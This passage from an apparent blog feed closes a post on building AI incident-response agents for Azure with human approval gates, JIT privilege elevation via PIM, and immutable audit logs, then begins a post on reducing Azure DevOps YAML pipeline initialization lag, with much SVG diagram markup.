style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='132' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='132' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='132' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='132' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eIf the 15-minute timer expires before approval, the agent safe-fails to \u0026ldquo;No-Action\u0026rdquo; and opens a manual P1 incident. \u003cstrong\u003eAn agent must never act autonomously on timeout.\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"4-jit-elevation-via-privileged-identity-management-pim\"\u003e4. JIT Elevation via Privileged Identity Management (PIM)\u003c/h2\u003e\n\u003cp\u003eOnce an action is approved, the orchestrator elevates the \u003cstrong\u003eRemediator\u003c/strong\u003e identity using the Azure Resource Manager REST API to programmatically trigger a PIM activation.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Activating a PIM role via REST API (Simplified)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$body = @{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    properties = @{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        principalId = $RemediatorPrincipalId\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        roleDefinitionId = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$Scope\u003cspan style=\"color:#e6db74\"\u003e/providers/Microsoft.Authorization/roleDefinitions/\u003c/span\u003e$ContributorId\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        requestType = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SelfActivate\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        justification = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Incident Remediation: \u003c/span\u003e$IncidentId\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        scheduleInfo = @{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            expiration = @{ type = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;AfterDuration\u0026#34;\u003c/span\u003e; duration = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;PT30M\u0026#34;\u003c/span\u003e }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInvoke-RestMethod -Method Put -Uri \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$Url\u003cspan style=\"color:#e6db74\"\u003e/roleAssignmentScheduleRequests/\u003c/span\u003e$Guid\u003cspan style=\"color:#e6db74\"\u003e?api-version=2020-10-01\u0026#34;\u003c/span\u003e -Body ($body | ConvertTo-Json)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWrite permission exists for only as long as the remediation takes. Every elevation records in Entra ID audit logs, giving you a secondary layer of non-repudiation.\u003c/p\u003e\n\u003ch2 id=\"5-tool-library-safety-and-validation\"\u003e5. Tool Library Safety and Validation\u003c/h2\u003e\n\u003cp\u003eThe LLM does not call Azure APIs directly. It calls \u0026ldquo;Tools\u0026rdquo; (activity functions) that you define. Security comes from what tools \u003cem\u003eexist\u003c/em\u003e, not from what the system prompt says.\u003c/p\u003e\n\u003ch3 id=\"tool-scoping-principles\"\u003eTool Scoping Principles\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAbsence is Security:\u003c/strong\u003e If you don\u0026rsquo;t want the agent to delete resources, don\u0026rsquo;t include a \u003ccode\u003edelete_resource\u003c/code\u003e tool. A tool that doesn\u0026rsquo;t exist cannot be called.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInput Validation:\u003c/strong\u003e Each activity function must validate LLM-generated arguments. A tool to \u003ccode\u003escale_deployment\u003c/code\u003e needs hard-coded bounds (e.g., \u003ccode\u003emin: 1, max: 10\u003c/code\u003e) and must reject any operation targeting the \u003ccode\u003ekube-system\u003c/code\u003e namespace.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eParameterized KQL:\u003c/strong\u003e Never let the LLM generate free-form KQL. Use named templates where the model only provides parameters (e.g., \u003ccode\u003epodName\u003c/code\u003e).\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"6-the-immutable-action-log\"\u003e6. The Immutable Action Log\u003c/h2\u003e\n\u003cp\u003eTo pass a SOC 2 audit, you need to prove that the AI agent\u0026rsquo;s actions were authorized and auditable. Every decision, LLM \u0026ldquo;Chain of Thought,\u0026rdquo; and approval record gets written to append-only Azure Blob Storage.\u003c/p\u003e\n\u003cp\u003eUsing a \u003cstrong\u003eTime-based Retention Policy\u003c/strong\u003e with \u003ccode\u003eallowProtectedAppendWrites: true\u003c/code\u003e, even a fully compromised agent runtime cannot modify or delete the historical record of its actions.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bicep\" data-lang=\"bicep\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Bicep: Immutable Audit Log Container\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e immutabilityPolicy \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies@2023-01-01\u0026#39;\u003c/span\u003e = {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  parent: auditContainer\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;default\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  properties: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    immutabilityPeriodSinceCreationInDays: 365\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    allowProtectedAppendWrites: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// Mandatory for append logs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Unlocked\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAgency Needs Guardrails:\u003c/strong\u003e Security comes from tool design and identity boundaries, not system prompt instructions.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit Your Identities:\u003c/strong\u003e Use a read-only Observer for investigation and a JIT-elevated Remediator for approved fixes.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHuman-in-the-Loop is Mandatory:\u003c/strong\u003e Always pause for human approval on Teams before state-changing production actions.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit the \u0026ldquo;Thought\u0026rdquo;:\u003c/strong\u003e Log the agent\u0026rsquo;s internal reasoning (CoT) to immutable storage for post-incident reviews.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFail Safe:\u003c/strong\u003e If a human doesn\u0026rsquo;t respond or the agent reaches its reasoning limit, default to \u0026ldquo;No-Action.\u0026rdquo;\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eThe Privacy-First AI DevOps Cluster is now complete.\u003c/strong\u003e By integrating these eight layers—from Private Link and Managed Identity to Agentic SRE guardrails—you have built a zero-trust, enterprise-grade ecosystem where AI acts as a secure productivity multiplier.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/azure-functions/durable/durable-functions-phone-verification\"\u003eMicrosoft Learn: Durable Functions Human Interaction Pattern\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-resource-roles-activate-api\"\u003eMicrosoft Learn: Programmatic PIM Role Activation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://react-lm.github.io/\"\u003eMicrosoft Research: ReAct Pattern - Synergizing Reasoning and Acting in LLMs\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://dora.dev/publications/\"\u003eDORA 2025: Research on AI-Driven Incident Response\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Option 1 — 3D Abstract / Isometric: The Dual Identity Handoff**\nWide landscape format, 16:9 aspect ratio. A clean isometric 3D scene showing two distinct robotic figures standing on elevated hexagonal platforms connected by a glowing bridge. The figure on the left is rendered in cool blue tones, holding a magnifying glass — the Observer. The figure on the right is rendered in amber and red tones, dormant, with a padlock icon above it — the Remediator. Between them, a glowing key floats mid-air in transit. The background is deep dark navy with subtle grid lines. Soft ambient light, Spline/Blender aesthetic, no text or labels.\n\n**Option 2 — Cyber-Industrial / Data Flow: Incident Alert Cascade**\nWide landscape format, 16:9 aspect ratio. A dark, high-contrast scene depicting a cascading alert wave. Starting from the left edge, a burst of red and orange light radiates outward like a sonar ping hitting a network of nodes. As the wave travels right, nodes transition from red to amber to cool teal, suggesting investigation and resolution. In the center of the composition, a single large node glows brighter than the rest, surrounded by orbiting ring elements that suggest inspection. Background is near-black with faint circuit trace lines. Cinematic glow, volumetric light shafts.\n\n**Option 3 — Photorealistic / Cinematic: The Paused Machine**\nWide landscape format, 16:9 aspect ratio. A dramatic cinematic shot of a large industrial control room at night. Rows of dark server racks line the walls, their indicator lights flashing amber. In the center of the room, a single holographic projection floats above a console — an abstract spinning wireframe sphere with a bold pause symbol at its core, surrounded by orbiting ring layers. The room has deep blue ambient lighting from the racks contrasted with the warm amber glow of the central projection. No people, no text on screens. Deep-focus wide-angle lens, photorealistic.\n\n**Option 4 — Claymorphism / Soft 3D: The Approval Gate**\nWide landscape format, 16:9 aspect ratio. A soft, clay-style 3D scene of a pipeline flowing left to right. Rounded matte tubes carry small cube-shaped \"action packets\" in orange. Midway through the scene, the pipeline passes through a large clay-textured gate rendered in warm cream and white. The gate has a green checkmark icon embedded in its door and is visibly open, with a packet just passing through. On the left side of the gate, a small clay robot with a blue body waits patiently; on the right, a separate clay robot in amber stands ready to act. Soft diffuse shadows, pastel background, rounded tactile forms. No text.\n\n**Option 5 — Minimalist Vector / Flat: Observe → Approve → Act**\nWide landscape format, 16:9 aspect ratio. A clean flat-design composition on a deep slate background. Three large circular icons arranged horizontally with bold connecting arrows between them. Left circle: a simple eye icon in cool blue. Center circle: a bold checkmark icon in white with a subtle hexagonal border in amber. Right circle: a wrench/gear icon in teal. The connecting arrows are thick and directional, with the arrow between center and right slightly bolder — emphasizing the approval-to-action step. Flat color fields with no gradients, minimal shadows, no text or labels.\n--\u003e\n","description":"Architect AI agents that autonomously investigate and remediate Azure incidents within least-privilege boundaries, with human-in-the-loop gates for production actions.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/the-ai-sre-blueprint-securely-automating-incident-response-on-azure/","title":"The AI SRE Blueprint: Securely Automating Incident Response on Azure"},{"content":"\u003cp\u003eYou click \u0026ldquo;Run Pipeline,\u0026rdquo; and then you wait. The spinner turns. Ten seconds. Thirty seconds. A full minute passes before the first task even starts. The logs say \u0026ldquo;Job is pending,\u0026rdquo; but the actual delay happened earlier, during \u0026ldquo;Initialization.\u0026rdquo; Your massive, multi-template YAML architecture has become a performance bottleneck, and every second of lag is costing your developers productivity and your organization money.\u003c/p\u003e\n\u003cp\u003eAzure DevOps initialization is not a static file read; it is a complex computation. The orchestrator must fetch every template, expand every \u003ccode\u003e${{ each }}\u003c/code\u003e loop, and evaluate every \u003ccode\u003e${{ if }}\u003c/code\u003e block to create a final execution plan. For enterprise pipelines with 50+ templates and nested object loops, this \u0026ldquo;Expansion Phase\u0026rdquo; can become incredibly slow. \u0026ldquo;Initialization Lag\u0026rdquo; occurs when the computational complexity of your YAML exceeds the orchestrator\u0026rsquo;s immediate processing capacity. This guide provides an \u0026ldquo;under the hood\u0026rdquo; look at pipeline performance and provides technical strategies for flattening your YAML to achieve sub-5-second starts.\u003c/p\u003e\n\u003ch2 id=\"1-the-anatomy-of-the-expansion-phase\"\u003e1. The Anatomy of the Expansion Phase\u003c/h2\u003e\n\u003cp\u003eTo optimize your pipeline, you must understand the work the Azure DevOps orchestrator performs before the first agent is even assigned.\u003c/p\u003e\n\u003ch4 id=\"anatomy-of-the-expansion-phase-the-lag-source\"\u003eAnatomy of the Expansion Phase (The Lag Source)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 600 169\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 16,16 L 96,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,16 L 424,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,16 L 576,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,48 L 176,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,48 L 496,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,80 L 96,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,80 L 576,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,112 L 304,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,112 L 424,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 16,16 L 16,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,16 L 96,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 184,16 L 184,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 304,112 L 304,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,16 L 424,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,64 L 424,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,40 L 432,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,16 L 496,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,64 L 496,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 504,40 L 504,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 576,16 L 576,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 576,64 L 576,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='184.000000,48.000000 172.000000,42.400002 172.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 176.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='504.000000,48.000000 492.000000,42.400002 492.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 496.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='304' cy='144' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='148' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='148' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='148' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='52' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext 